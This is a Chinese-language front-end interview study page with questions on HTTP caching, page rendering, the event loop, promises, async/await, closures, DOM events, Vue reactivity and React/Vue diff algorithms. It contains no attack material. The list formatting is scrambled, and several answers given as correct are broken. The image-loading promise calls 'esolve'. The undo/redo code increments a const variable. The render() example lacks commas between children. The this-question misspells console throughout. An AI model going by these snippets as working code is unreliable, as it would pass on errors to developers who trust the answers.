- 浏览器第一次请求资源,服务器返回资源和
- 强制缓存的流程图
- 服务端在
- 协商缓存
- 服务端缓存策略
- 服务端判断客户端资源,是否和服务端资源一样
- 如果判断一致则返回
304
(不在返回js
、图片内容等资源),否则返回200
和最新资源 - 服务端怎么判断客户端资源一样? 根据资源标识
- 在
Response Headers
中,有两种 Last-Modified
和Etag
会优先使用Etag
,Last-Modified
只能精确到秒级,如果资源被重复生成而内容不变,则Etag
更准确Last-Modified
服务端返回的资源的最后修改时间If-Modified-Since
客户端请求时,携带的资源的最后修改时间(即Last-Modified
的值)
Etag
服务端返回的资源的唯一标识(一个字符串,类似指纹)If-None-Matche
客户端请求时,携带的资源的唯一标识(即Etag
的值)
- Headers示例
- 请求示例 通过
Etag
或Last-Modified
命中缓存,没有返回资源,返回304
,体积非常小
- 在
- HTTP缓存总结
- 强制缓存
- 刷新操作方式,对缓存的影响
- 正常操作:地址栏输入
url
,跳转链接,前进后退 - 手动操作:
F5
,点击刷新,右键菜单刷新 - 强制刷新:
ctrl + F5
或command + r
- 正常操作:地址栏输入
- 不同刷新操作,不同缓存策略
- 正常操作:强缓存有效,协商缓存有效
- 手动操作:强缓存失效,协商缓存有效
- 强制刷新:强缓存失效,协商缓存失效
- 小结
- 强缓存
Cache-Contorl
、Expired
(弃用) - 协商缓存
Last-Modified
/If-Modified-Since
和Etag
/If-None-Matche
,304
状态码 - 完整流程图
- 强缓存
从输入URL到显示出页面的整个过程
- 下载资源:各个资源类型,下载过程
- 加载过程
DNS
解析:域名 =>IP
地址- 浏览器根据
IP
地址向服务器发起HTTP
请求 - 服务器处理
HTTP
请求,并返回浏览器
- 渲染过程
- 根据
HTML
生成DOM Tree
- 根据
CSS
生成CSSOM
DOM Tree
和CSSOM
整合形成Render Tree
,根据Render Tree
渲染页面- 遇到
<script>
暂停渲染,优先加载并执行JS
代码,执行完在解析渲染(JS线程和渲染线程共用一个线程,JS执行要暂停DOM渲染) - 直至把
Render Tree
渲染完成
- 根据
window.onload和DOMContentLoaded
window.onload
页面的全部资源加载完才会执行,包括图片、视频等DOMContentLoaded
渲染完即可,图片可能尚未下载
window.addEventListener('load',function() {
// 页面的全部资源加载完才会执行,包括图片、视频等
})
window.addEventListener('DOMContentLoaded',function() {
// DOM渲染完才执行,此时图片、视频等可能还没有加载完
})
演示
<p>一段文字 1</p>
<p>一段文字 2</p>
<p>一段文字 3</p>
<img
id="img1"
src="https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1570191150419&di=37b1892665fc74806306ce7f9c3f1971&imgtype=0&src=http%3A%2F%2Fimg.pconline.com.cn%2Fimages%2Fupload%2Fupc%2Ftx%2Fitbbs%2F1411%2F13%2Fc14%2F26229_1415883419758.jpg"
/>
<script>
const img1 = document.getElementById('img1')
img1.onload = function () {
console.log('img loaded')
}
window.addEventListener('load', function () {
console.log('window loaded')
})
document.addEventListener('DOMContentLoaded', function () {
console.log('dom content loaded')
})
// 结果
// dom content loaded
// img loaded
// window loaded
</script>
拓展:关于Restful API
- 一种新的
API
设计方法 - 传统
API
设计:把每个url
当做一个功能 Restful API
设计:把每个url
当前一个唯一的资源- 如何设计成一个资源
- 尽量不用
url
参数- 传统
API
设计:/api/list?pageIndex=2
Restful API
设计:/api/list/2
- 传统
- 用
method
表示操作类型- 传统
API
设计:post
新增请求:/api/create-blog
post
更新请求:/api/update-blog?id=100
post
删除请求:/api/delete-blog?id=100
get
请求:/api/get-blog?id=100
Restful API
设计:post
新增请求:/api/blog
patch
更新请求:/api/blog/100
delete
删除请求:/api/blog/100
get
请求:/api/blog/100
- 传统
- 尽量不用
- 如何设计成一个资源
# 第173题 DOM和事件操作总结
DOM节点操作
const div1 = document.getElementById('div1')
console.log('div1', div1)
const divList = document.getElementsByTagName('div') // 集合
console.log('divList.length', divList.length)
console.log('divList[1]', divList[1])
const containerList = document.getElementsByClassName('container') // 集合
console.log('containerList.length', containerList.length)
console.log('containerList[1]', containerList[1])
const pList = document.querySelectorAll('p')
console.log('pList', pList)
const pList = document.querySelectorAll('p')
const p1 = pList[0]
// property 形式
p1.style.width = '100px'
console.log( p1.style.width )
p1.className = 'red'
console.log( p1.className )
console.log(p1.nodeName)
console.log(p1.nodeType) // 1
// attribute
p1.setAttribute('data-name', 'imooc')
console.log( p1.getAttribute('data-name') )
p1.setAttribute('style', 'font-size: 50px;')
console.log( p1.getAttribute('style') )
propery和attribute
propery
:修改对象属性,不会体现到HTML
结构中attribute
:修改HTML
属性,会改变HTML
结构
DOM结构操作
const div1 = document.getElementById('div1')
const div2 = document.getElementById('div2')
// 新建节点
const newP = document.createElement('p')
newP.innerHTML = 'this is newP'
// 插入节点
div1.appendChild(newP)
// 移动节点
const p1 = document.getElementById('p1')
div2.appendChild(p1)
// 获取父元素
console.log( p1.parentNode )
// 获取子元素列表
const div1ChildNodes = div1.childNodes
console.log( div1.childNodes )
const div1ChildNodesP = Array.prototype.slice.call(div1.childNodes).filter(child => {
if (child.nodeType === 1) {
return true
}
return false
})
console.log('div1ChildNodesP', div1ChildNodesP)
div1.removeChild( div1ChildNodesP[0] )
DOM性能
// 将频繁操作改为一次性操作
const list = document.getElementById('list')
// 创建一个文档片段,此时还没有插入到 DOM 结构中
const frag = document.createDocumentFragment()
for (let i = 0; i < 20; i++) {
const li = document.createElement('li')
li.innerHTML = `List item ${i}`
// 先插入文档片段中
frag.appendChild(li)
}
// 都完成之后,再统一插入到 DOM 结构中
list.appendChild(frag)
console.log(list)
事件
// 通用的事件绑定函数
// function bindEvent(elem, type, fn) {
// elem.addEventListener(type, fn)
// }
function bindEvent(elem, type, selector, fn) {
if (fn == null) {
fn = selector
selector = null
}
elem.addEventListener(type, event => {
const target = event.target
if (selector) {
// 代理绑定
if (target.matches(selector)) {
fn.call(target, event)
}
} else {
// 普通绑定
fn.call(target, event)
}
})
}
// 普通绑定
const btn1 = document.getElementById('btn1')
bindEvent(btn1, 'click', function (event) {
// console.log(event.target) // 获取触发的元素
event.preventDefault() // 阻止默认行为
alert(this.innerHTML)
})
// 代理绑定
const div3 = document.getElementById('div3')
bindEvent(div3, 'click', 'a', function (event) {
event.preventDefault()
alert(this.innerHTML)
})
// 测试
const p1 = document.getElementById('p1')
bindEvent(p1, 'click', event => {
event.stopPropagation() // 阻止冒泡
console.log('激活')
})
const body = document.body
bindEvent(body, 'click', event => {
console.log('取消')
// console.log(event.target)
})
const div2 = document.getElementById('div2')
bindEvent(div2, 'click', event => {
console.log('div2 clicked')
console.log(event.target)
})
# 第172题 Event Loop执行机制过程
- 同步代码一行行放到
Call Stack
执行,执行完就出栈 - 遇到异步优先记录下,等待时机(定时、网络请求)
- 时机到了就移动到
Call Queue
(宏任务队列)- 如果遇到微任务(如
promise.then
)放到微任务队列 - 宏任务队列和微任务队列是分开存放的
- 因为微任务是
ES6
语法规定的 - 宏任务(
setTimeout
)是浏览器规定的
- 因为微任务是
- 如果遇到微任务(如
- 如果
Call Stack
为空,即同步代码执行完,Event Loop
开始工作Call Stack
为空,尝试先DOM
渲染,在触发下一次Event Loop
- 轮询查找
Event Loop
,如有则移动到Call Stack
- 然后继续重复以上过程(类似永动机)
DOM事件和Event Loop
DOM
事件会放到Web API中
等待用户点击,放到Call Queue
,在移动到Call Stack
执行
JS
是单线程的,异步(setTimeout
、Ajax
)使用回调,基于Event Loop
DOM
事件也使用回调,DOM
事件非异步,但也是基于Event Loop
实现
宏任务和微任务
- 介绍
- 宏任务:
setTimeout
、setInterval
、DOM
事件、Ajax
- 微任务:
Promise.then
、async/await
- 微任务比宏任务执行的更早
console.log(100) setTimeout(() => { console.log(200) }) Promise.resolve().then(() => { console.log(300) }) console.log(400) // 100 400 300 200
- 宏任务:
- event loop 和 DOM 渲染
- 每次
call stack
清空(每次轮询结束),即同步代码执行完。都是DOM
重新渲染的机会,DOM
结构如有改变重新渲染 - 再次触发下一次
Event Loop
const $p1 = $('<p>一段文字</p>') const $p2 = $('<p>一段文字</p>') const $p3 = $('<p>一段文字</p>') $('#container') .append($p1) .append($p2) .append($p3) console.log('length', $('#container').children().length ) alert('本次 call stack 结束,DOM 结构已更新,但尚未触发渲染') // (alert 会阻断 js 执行,也会阻断 DOM 渲染,便于查看效果) // 到此,即本次 call stack 结束后(同步任务都执行完了),浏览器会自动触发渲染,不用代码干预 // 另外,按照 event loop 触发 DOM 渲染时机,setTimeout 时 alert ,就能看到 DOM 渲染后的结果了 setTimeout(function () { alert('setTimeout 是在下一次 Call Stack ,就能看到 DOM 渲染出来的结果了') })
- 每次
- 宏任务和微任务的区别
- 宏任务:
DOM
渲染后再触发,如setTimeout
- 微任务:
DOM
渲染前会触发,如Promise
// 修改 DOM const $p1 = $('<p>一段文字</p>') const $p2 = $('<p>一段文字</p>') const $p3 = $('<p>一段文字</p>') $('#container') .append($p1) .append($p2) .append($p3) // 微任务:渲染之前执行(DOM 结构已更新,看不到元素还没渲染) // Promise.resolve().then(() => { // const length = $('#container').children().length // alert(`micro task ${length}`) // DOM渲染了?No // }) // 宏任务:渲染之后执行(DOM 结构已更新,可以看到元素已经渲染) setTimeout(() => { const length = $('#container').children().length alert(`macro task ${length}`) // DOM渲染了?Yes })
- 宏任务:
再深入思考一下:为何两者会有以上区别,一个在渲染前,一个在渲染后?
- 微任务:
ES
语法标准之内,JS
引擎来统一处理。即,不用浏览器有任何干预,即可一次性处理完,更快更及时。 - 宏任务:
ES
语法没有,JS
引擎不处理,浏览器(或nodejs
)干预处理。
# 第171题 async/await异步总结
知识点总结
promise.then
链式调用,但也是基于回调函数async/await
是同步语法,彻底消灭回调函数
async/await和promise的关系
- 执行
async
函数,返回的是promise
async function fn2() {
return new Promise(() => {})
}
console.log( fn2() )
async function fn1() {
return 100
}
console.log( fn1() ) // 相当于 Promise.resolve(100)
await
相当于promise
的then
try catch
可捕获异常,代替了promise
的catch
await
后面跟Promise
对象:会阻断后续代码,等待状态变为fulfilled
,才获取结果并继续执行await
后续跟非Promise
对象:会直接返回
(async function () {
const p1 = new Promise(() => {})
await p1
console.log('p1') // 不会执行
})()
(async function () {
const p2 = Promise.resolve(100)
const res = await p2
console.log(res) // 100
})()
(async function () {
const res = await 100
console.log(res) // 100
})()
(async function () {
const p3 = Promise.reject('some err') // rejected状态,不会执行下面的then
const res = await p3 // await 相当于then
console.log(res) // 不会执行
})()
try...catch
捕获rejected
状态
(async function () {
const p4 = Promise.reject('some err')
try {
const res = await p4
console.log(res)
} catch (ex) {
console.error(ex)
}
})()
总结来看:
async
封装Promise
await
处理Promise
成功try...catch
处理Promise
失败
异步本质
await
是同步写法,但本质还是异步调用。
async function async1 () {
console.log('async1 start')
await async2()
console.log('async1 end') // 关键在这一步,它相当于放在 callback 中,最后执行
// 类似于Promise.resolve().then(()=>console.log('async1 end'))
}
async function async2 () {
console.log('async2')
}
console.log('script start')
async1()
console.log('script end')
// 打印
// script start
// async1 start
// async2
// script end
// async1 end
async function async1 () {
console.log('async1 start') // 2
await async2()
// await后面的下面三行都是异步回调callback的内容
console.log('async1 end') // 5 关键在这一步,它相当于放在 callback 中,最后执行
// 类似于Promise.resolve().then(()=>console.log('async1 end'))
await async3()
// await后面的下面1行都是异步回调callback的内容
console.log('async1 end2') // 7
}
async function async2 () {
console.log('async2') // 3
}
async function async3 () {
console.log('async3') // 6
}
console.log('script start') // 1
async1()
console.log('script end') // 4
即,只要遇到了
await
,后面的代码都相当于放在callback
(微任务) 里。
执行顺序问题
网上很经典的面试题
async function async1 () {
console.log('async1 start')
await async2() // 这一句会同步执行,返回 Promise ,其中的 `console.log('async2')` 也会同步执行
console.log('async1 end') // 上面有 await ,下面就变成了“异步”,类似 cakkback 的功能(微任务)
}
async function async2 () {
console.log('async2')
}
console.log('script start')
setTimeout(function () { // 异步,宏任务
console.log('setTimeout')
}, 0)
async1()
new Promise (function (resolve) { // 返回 Promise 之后,即同步执行完成,then 是异步代码
console.log('promise1') // Promise 的函数体会立刻执行
resolve()
}).then (function () { // 异步,微任务
console.log('promise2')
})
console.log('script end')
// 同步代码执行完之后,屡一下现有的异步未执行的,按照顺序
// 1. async1 函数中 await 后面的内容 —— 微任务(先注册先执行)
// 2. setTimeout —— 宏任务(先注册先执行)
// 3. then —— 微任务
// 同步代码执行完毕(event loop - call stack被清空)
// 执行微任务
// 尝试DOM渲染
// 触发event loop执行宏任务
// 输出
// script start
// async1 start
// async2
// promise1
// script end
// async1 end
// promise2
// setTimeout
关于for...of
for in
以及forEach
都是常规的同步遍历for of
用于异步遍历
// 定时算乘法
function multi(num) {
return new Promise((resolve) => {
setTimeout(() => {
resolve(num * num)
}, 1000)
})
}
// 使用 forEach ,是 1s 之后打印出所有结果,即 3 个值是一起被计算出来的
function test1 () {
const nums = [1, 2, 3];
nums.forEach(async x => {
const res = await multi(x);
console.log(res); // 一次性打印
})
}
test1();
// 使用 for...of ,可以让计算挨个串行执行
async function test2 () {
const nums = [1, 2, 3];
for (let x of nums) {
// 在 for...of 循环体的内部,遇到 await 会挨个串行计算
const res = await multi(x)
console.log(res) // 依次打印
}
}
test2()
# 第170题 Promise异步总结
知识点总结
- 三种状态
pending
、fulfilled
(通过resolve
触发)、rejected
(通过reject
触发)pending => fulfilled
或者pending => rejected
- 状态变化不可逆
- 状态的表现和变化
pending
状态,不会触发then
和catch
fulfilled
状态会触发后续的then
回调rejected
状态会触发后续的catch
回调
- then和catch对状态的影响(重要)
then
正常返回fulfilled
,里面有报错返回rejected
const p1 = Promise.resolve().then(()=>{ return 100 }) console.log('p1', p1) // fulfilled会触发后续then回调 p1.then(()=>{ console.log(123) }) // 打印123 const p2 = Promise.resolve().then(()=>{ throw new Error('then error') }) // p2是rejected会触发后续catch回调 p2.then(()=>{ console.log(456) }).catch(err=>{ console.log(789) }) // 打印789
catch
正常返回fulfilled
,里面有报错返回rejected
const p1 = Promise.reject('my error').catch(()=>{ console.log('catch error') }) p1.then(()=>{ console.log(1) }) // console.log(p1) p1返回fulfilled 触发then回调 const p2 = Promise.reject('my error').catch(()=>{ throw new Error('catch error') }) // console.log(p2) p2返回rejected 触发catch回调 p2.then(()=>{ console.log(2) }).catch(()=>{ console.log(3) })
promise then和catch的链接
// 第一题
Promise.resolve()
.then(()=>console.log(1))// 状态返回fulfilled
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的then会执行
.then(()=>console.log(3)) // 1,3
// 整个执行完没有报错,状态返回fulfilled
// 第二题
Promise.resolve()
.then(()=>{ // then中有报错 状态返回rejected,后面的catch会执行
console.log(1)
throw new Error('error')
})
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的then会执行
.then(()=>console.log(3)) // 1,2,3
// 整个执行完没有报错,状态返回fulfilled
// 第三题
Promise.resolve()
.then(()=>{//then中有报错 状态返回rejected,后面的catch会执行
console.log(1)
throw new Error('error')
})
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的catch不会执行
.catch(()=>console.log(3)) // 1,2
// 整个执行完没有报错,状态返回fulfilled
# 第169题 手写Promise加载一张图片
function loadImg(src) {
return new Promise(
(resolve, reject) => {
const img = document.createElement('img')
img.onload = () => {
esolve(img)
}
img.onerror = () => {
const err = new Error(`图片加载失败 ${src}`)
reject(err)
}
img.src = src
}
)
}
// 测试
const url = 'https://s.poetries.top/uploads/2022/07/ee7310c4f45b9bd6.png'
loadImg(url).then(img => {
console.log(img.width)
return img
}).then(img => {
console.log(img.height)
}).catch(ex => console.error(ex))
const url1 = 'https://s.poetries.top/uploads/2022/07/ee7310c4f45b9bd6.png'
const url2 = 'https://s.poetries.top/images/20210414100319.png'
loadImg(url1).then(img1 => {
console.log(img1.width)
return img1 // 普通对象
}).then(img1 => {
console.log(img1.height)
return loadImg(url2) // promise 实例
}).then(img2 => {
console.log(img2.width)
return img2
}).then(img2 => {
console.log(img2.height)
}).catch(ex => console.error(ex))
# 第168题 创建10个a标签,点击弹出对应的序号
// 本题考察闭包
let a
for (let i = 0; i < 10; i++) { // 使用let定义块级作用域
a = document.createElement('a')
a.innerHTML = i + '<br>'
a.addEventListener('click', function (e) {
e.preventDefault()
alert(i)
})
document.body.appendChild(a)
}
# 第167题 闭包读代码题输出
// 函数作为返回值
function create() {
const a = 100
return function () {
console.log(a)
}
}
const fn = create()
const a = 200
fn() // 输出什么?
// 函数作为参数被传递
function print(fn) {
const a = 200
fn()
}
const a = 100
function fn() {
console.log(a)
}
print(fn) //输出什么?
答案
答案:100
、100
- 所有的自由变量的查找,是在函数定义的地方,向上级作用域查找
- 不是在执行的地方!
闭包的应用:隐藏数据不被外界访问
// 闭包隐藏数据,只提供 API
function createCache() {
const data = {} // 闭包中的数据,被隐藏,不被外界访问
return {
set: function (key, val) {
data[key] = val
},
get: function (key) {
return data[key]
}
}
}
const c = createCache()
c.set('a', 100)
console.log( c.get('a') )
# 第166题 实现简易版jQuery
class jQuery {
constructor(selector) {
const result = document.querySelectorAll(selector)
const length = result.length
for (let i = 0; i < length; i++) {
this[i] = result[i]
}
this.length = length
this.selector = selector
}
get(index) {
return this[index]
}
each(fn) {
for (let i = 0; i < this.length; i++) {
const elem = this[i]
fn(elem)
}
}
on(type, fn) {
return this.each(elem => {
elem.addEventListener(type, fn, false)
})
}
// 扩展很多 DOM API
}
// 插件
jQuery.prototype.dialog = function (info) {
alert(info)
}
// “造轮子”
class myJQuery extends jQuery {
constructor(selector) {
super(selector)
}
// 扩展自己的方法
addClass(className) {
}
style(data) {
}
}
// 测试
const $p = new jQuery('p')
$p.get(1)
$p.each((elem) => console.log(elem.nodeName))
$p.on('click', () => alert('clicked'))
# 第165题 原型与原型链
原型关系
- 每个
class
都有显示原型prototype
- 每个实例都有隐式原型
__proto__
- 实例的
__proto__
指向class
的prototype
// 父类
class People {
constructor(name) {
this.name = name
}
eat() {
console.log(`${this.name} eat something`)
}
}
// 子类
class Student extends People {
constructor(name, number) {
super(name)
this.number = number
}
sayHi() {
console.log(`姓名 ${this.name} 学号 ${this.number}`)
}
}
// 实例
const xialuo = new Student('夏洛', 100)
console.log(xialuo.name)
console.log(xialuo.number)
xialuo.sayHi()
xialuo.eat()
基于原型的执行规则
获取属性xialuo.name
或执行方法xialuo.sayhi
时,先在自身属性和方法查找,找不到就去__proto__
中找
原型链
People.prototype === Student.prototype.__proto__
# 第164题 两个数组求交集和并集
const arr1 = [1,3,4,6,7]
const arr2 = [2,5,3,6,1]
function getIntersection(arr1, arr2) {
// 交集
}
function getUnion(arr1, arr2) {
// 并集
}
答案
// 交集
function getIntersection(arr1, arr2) {
const res = new Set()
const set2 = new Set(arr2)
for(let item of arr1) {
if(set2.has(item)) { // 考虑性能:这里使用set的has比数组的includes快很多
res.add(item)
}
}
return Array.from(res) // 转为数组返回
}
// 并集
function getUnion(arr1, arr2) {
const res = new Set(arr1)
for(let item of arr2) {
res.add(item) // 利用set的去重功能
}
return Array.from(res) // 转为数组返回
}
// 测试
const arr1 = [1,3,4,6,7]
const arr2 = [2,5,3,6,1]
console.log('交集', getIntersection(arr1, arr2)) // 1,3,6
console.log('并集', getUnion(arr1, arr2)) // 1,3,4,6,7,2,5
# 第163题 JS反转字符串
实现字符串
A1B2C3
反转为3C2B1A
// 方式1:str.split('').reverse().join('')
// 方式2:使用栈来实现
function reverseStr(str) {
const stack = []
for(let c of str) {
stack.push(c) // 入栈
}
let newStr = ''
let c = ''
while(c = stack.pop()) { // 出栈
newStr += c // 出栈再拼接
}
return newStr
}
// 测试
console.log(reverseStr('A1B2C3')) // 3C2B1A
# 第162题 从零搭建开发环境需要考虑什么
- 代码仓库,发布到哪个
npm
仓库(如有需要) - 技术选型,
Vue
或React
- 代码目录规范
- 打包构建
webpack
等,做打包优化 eslint
、prettier
、commit-lint
pre-commit
提交前检查(在调用git commit
命令时自动执行某些脚本检测代码,若检测出错,则阻止commit
代码,也就无法push
)- 单元测试
CI/CD
流程(如搭建jenkins
部署项目)- 开发环境、预发布环境
- 编写开发文档
# 第161题 手写Vue3基本响应式原理
// 实现
function reactive(obj) {/**todo**/}
function effect(fn) {/**todo**/}
// 使用
const user = reactive({name: 'poetries'})
effect(() => {console.log('name', user.name)})
// 修改属性,自动触发effect内部函数执行
user.name = '张三'
setTimeout(()=>{ user.name = '李四'})
答案
// 简单实现
var fns = new Set()
var activeFn
function reactive(obj) {
return new Proxy(obj, {
get(target, key, receiver) {
const res = Reflect.get(target,key,receiver) // 相当于target[key]
// 懒递归 取值才执行
if(typeof res === 'object' && res != null) {
return reactive(res)
}
if(activeFn) fns.add(activeFn)
return res
},
set(target,key, value, receiver) {
fns.forEach(fn => fn()) // 触发effect订阅的回调函数的执行
return Reflect.set(target, key, value, receiver)
}
})
}
function effect(fn) {
activeFn = fn
fn() // 执行一次去取值,触发proxy get
}
// 测试
var user = reactive({name: 'poetries',info:{age: 18}})
effect(() => {console.log('name', user.name)})
// 修改属性,自动触发effect内部函数执行
user.name = '张三'
// user.info.age = 10 // 修改深层次对象
setTimeout(()=>{ user.name = '李四'})
# 第160题 实现机器人走方格
如下图,有m*n
个格子,一个人从左上角start位置,每次只能向下或向右移动一步。要走到右下角finish位置,总共有多少条路径
实现
- 如果只走第一行就只有一条路径
- 如果只走第一列,也只有一条路径
- 其他走法,根据这个公式
map[i][j] = map[i-1][j] + map[i][j-1]
,如走到[5,4]
的路径数,就是[4,4]
和[5,3]
的路径数之和 -- 动态规划的思想
// m行 n列
function getPaths(m, n) {
// m * n二维数组,模拟网格
const map = new Array(m)
for(let i = 0; i < m; i++) {
map[i] = new Array(n) // 行对应的列
}
// 如果只走第一行就只有一条路径,所以第一行所有item都填充1
map[0].fill(1)
// 如果只走第一列,也只有一条路径。所以第一行item都填充1
for(let i = 0; i < m; i++) {
map[i][0] = 1
}
/**此时map结果
* [
* [1, 1, 1, 1],
[1, emptyx3],
[1, emptyx3],
[1, emptyx3],
[1, emptyx3]
]
*/
// 其他item,根据这个公式 map[i][j] = map[i-1][j] + map[i][j-1]
// 如走到[5,4]的路径数,就是[4,4]和[5,3]的路径数之和 -- 动态规划的思想
// 注意:i和j都是从1开始,因为0的位置已经被上文赋值了
for(let i = 1; i < m; i++) {
for(let j = 1; j < n; j++) {
map[i][j] = map[i-1][j] + map[i][j-1]
}
}
/**此时map结果
* [
* [1, 1, 1, 1],
[1, 2, 3, 4],
[1, 3, 6, 10],
[1, 4, 10, 20],
[1, 5, 15, 35]
]
*/
// 返回完成的节点的路径数
return map[m-1][n-1]
}
console.log(getPaths(5, 4)) // 35
# 第159题 this读代码题
class Foo{
f1() {consosle.log('this1',this)}
f2 = () => {consosle.log('this2',this)}
f3 = () => {consosle.log('this3',this)}
static f4() {consosle.log('this4',this)}
}
const f = new Foo()
f.f1()
f.f2()
f.f3.call(this)
Foo.f4()
const user = {
count:1,
getCount:function(){
return this.count
}
}
console.log(user.getCount())
const func = user.getCount
console.log(func())
答案
class Foo{
f1() {consosle.log('this1',this)}
f2 = () => {consosle.log('this2',this)}
f3 = () => {consosle.log('this3',this)}
static f4() {consosle.log('this4',this)}
}
const f = new Foo()
f.f1() // this指向实例
f.f2() // class中写箭头函数,this指向实例
f.f3.call(this) // 箭头函数 this不能通过call、apply修改
Foo.f4() // this指向Foo本身
const user = {
count:1,
getCount:function(){
return this.count
},
getCount1: () =>{
// 箭头函数this找父级的this,this指向window
return this.count
},
getCount2:function(){
setTimeout(()=>{
console.log(this.count) // 箭头函数this找父级的this,this指向user
},1000)
},
}
console.log(user.getCount()) // 1 this指向user
const func1 = user.getCount
console.log(func1()) // undefined this指向window
const func2 = user.getCount2
console.log(func2()) // undefined this指向window
# 第158题 使用XML描述自定义DSL流程图
用xml
描述这个流程图
<chart>
<start-end id="start">开始</start-end>
<flow id="flow1">流程1</flow>
<judge id="judge1">评审</judge>
<flow id="flow2">流程2</flow>
<start-end id="end">结束</start-end>
<arrow from="start" to="flow1"></arrow>
<arrow from="flow1" to="judge1"></arrow>
<arrow from="judge1" to="flow2">Y</arrow>
<arrow from="judge1" to="end">N</arrow>
<arrow from="flow2" to="end"></arrow>
</chart>
# 第157题 JS设计并实现撤销重做功能
分析
- 维护一个
list
和index
input change
时push
到list
且index++
Undo
时index-1
,redo
时index+1
<div>
<input id="input-text" />
<button id="undo">undo</button>
<button id="redo">redo</button>
</div>
<script>
const inputText = document.getElementById("input-text")
const undo = document.getElementById("undo")
const redo = document.getElementById("redo")
const list = [inputText.value] // 初始化列表
const currIndex = list.length - 1 // 初始化index
inputText.addEventListener('change', e=>{
const text = e.target.value
list.length = currIndex + 1 // 截取掉index后面的部分
list.push(text)
currIndex++ // index增加
})
undo.addEventListener('click',()=>{
if(currIndex <= 0) return
currIndex-- // index减少
inputText.value = list[currIndex]
})
redo.addEventListener('click',()=>{
if(currIndex >= list.length - 1) return
currIndex++ // index增加
inputText.value = list[currIndex]
})
</script>
# 第156题 根据jsx写出vnode和render函数
<!-- jsx -->
<div className="container">
<p onClick={onClick} data-name="p1">
hello <b>{name}</b>
</p>
<img src={imgSrc} />
<MyComponent title={title}></MyComponent>
</div>
注意
- 注意
JSX
中的常量和变量 - 注意
JSX
中的HTML tag
和自定义组件
const vnode = {
tag: 'div',
props: {
className: 'container'
},
children: [
// <p>
{
tag: 'p',
props: {
dataset: {
name: 'p1'
},
on: {
click: onClick // 变量
}
},
children: [
'hello',
{
tag: 'b',
props: {},
children: [name] // name变量
}
]
},
// <img />
{
tag: 'img',
props: {
src: imgSrc // 变量
},
children: [/**无子节点**/]
},
// <MyComponent>
{
tag: MyComponent, // 变量
props: {
title: title, // 变量
},
children: [/**无子节点**/]
}
]
}
// render函数
function render() {
// h(tag, props, children)
return h('div', {
props: {
className: 'container'
}
}, [
// p
h('p', {
dataset: {
name: 'p1'
},
on: {
click: onClick
}
}, [
'hello',
h('b', {}, [name])
])
// img
h('img', {
props: {
src: imgSrc
}
}, [/**无子节点**/])
// MyComponent
h(MyComponent, {
title: title
}, [/**无子节点**/])
]
)
}
在react中jsx编译后
// 使用https://babeljs.io/repl编译后效果
React.createElement(
"div",
{
className: "container"
},
React.createElement(
"p",
{
onClick: onClick,
"data-name": "p1"
},
"hello ",
React.createElement("b", null, name)
),
React.createElement("img", {
src: imgSrc
}),
React.createElement(MyComponent, {
title: title
})
);
# 第155题 手写合并两个递增数组
var arr1 = [1,3,5,7,9]
var arr2 = [2,4,6,8]
// 1.直接用concat+sort 时间复杂度较高,因为有排序,复杂度至少是O(n*logn)
var res1 = arr1.concat(arr2).sort((a,b)=>a-b)
console.log(res1)
// 2.使用双指针,时间复杂度 O(m + n) => O(n)
var res = []
var i = 0
var j = 0
// 只要arr1和arr2还有值继续循环
while(arr1[i] !== null || arr2[j] !== null) {
const v1 = arr1[i]
const v2 = arr2[j]
if(v1 == null && v2 == null) {
// v1 v2都没有值了 停止
break;
}
if(v1 < v2 || v2 == null) {
// v1较小则只拼接v1
res.push(v1)
i++
}
if(v1 > v2 || v1 == null) {
// v2较小则只拼接v2
res.push(v2)
j++
}
if(v1 === v2) {
// v1、v2相等
res.push(v1)
i++
res.push(v2)
j++
}
}
console.log(res) // [1,2,3,4,5,6,7,8,9]
# 第154题 React useEffect闭包陷阱问题
问:按钮点击三次后,定时器输出什么?
function useEffectDemo() {
const [value,setValue] = useState(0)
useEffect(()=>{
setInterval(()=>{
console.log(value)
},1000)
}, [])
const clickHandler = () => {
setValue(value + 1)
}
return (
<div>
value: {value} <button onClick={clickHandler}>点击</button>
</div>
)
}
答案
答案一直是
0
useEffect
闭包陷阱问题,useEffect
依赖是空的,只会执行一次。setInterval
中的value
就只会获取它之前的变量。而react
有个特点,每次value
变化都会重新执行useEffectDemo
这个函数。点击了三次函数会执行三次,三次过程中每个函数中value
都不一样,setInterval
获取的永远是第一个函数里面的0
// 追问:怎么才能打印出3?
function useEffectDemo() {
const [value,setValue] = useState(0)
useEffect(()=>{
const timer = setInterval(()=>{
console.log(value) // 3
},1000)
return ()=>{
clearInterval(timer) // value变化会导致useEffectDemo函数多次执行,多次执行需要清除上一次的定时器,否则多次注册定时器
}
}, [value]) // 这里增加依赖项,每次依赖变化都会重新执行
const clickHandler = () => {
setValue(value + 1)
}
return (
<div>
value: {value} <button onClick={clickHandler}>点击</button>
</div>
)
}
# 第153题 Vue React diff 算法有什么区别
diff 算法
Vue React diff
不是对比文字,而是vdom
树,即tree diff
- 传统的
tree diff
算法复杂度是O(n^3)
,算法不可用。
优化
Vue React
都是用于网页开发,基于DOM
结构,对diff
算法都进行了优化(或者简化)
- 只在同一层级比较,不跨层级(
DOM
结构的变化,很少有跨层级移动) tag
不同则直接删掉重建,不去对比内部细节(DOM
结构变化,很少有只改外层,不改内层)- 同一个节点下的子节点,通过
key
区分
最终把时间复杂度降低到
O(n)
,生产环境下可用。这一点Vue React
都是相同的。
React diff 特点 - 仅向右移动
比较子节点时,仅向右移动,不向左移动。
Vue2 diff 特点 - 双端比较
定义四个指针,分别比较
oldStartNode
和newStartNode
oldStartNode
和newEndNode
oldEndNode
和newStartNode
oldEndNode
和newEndNode
然后指针继续向中间移动,直到指针汇合
Vue3 diff 特点 - 最长递增子序列
例如数组
[3,5,7,1,2,8]
的最长递增子序列就是[3,5,7,8 ]
。这是一个专门的算法。
算法步骤
- 通过“前-前”比较找到开始的不变节点
[A, B]
- 通过“后-后”比较找到末尾的不变节点
[G]
- 剩余的有变化的节点
[F, C, D, E, H]
- 通过
newIndexToOldIndexMap
拿到oldChildren
中对应的index
[5, 2, 3, 4, -1]
(-1
表示之前没有,要新增) - 计算最长递增子序列得到
[2, 3, 4]
,对应的就是[C, D, E]
,即这些节点可以不变 - 剩余的节点,根据
index
进行新增、删除
- 通过
该方法旨在尽量减少
DOM
的移动,达到最少的DOM操作
。
总结
React diff
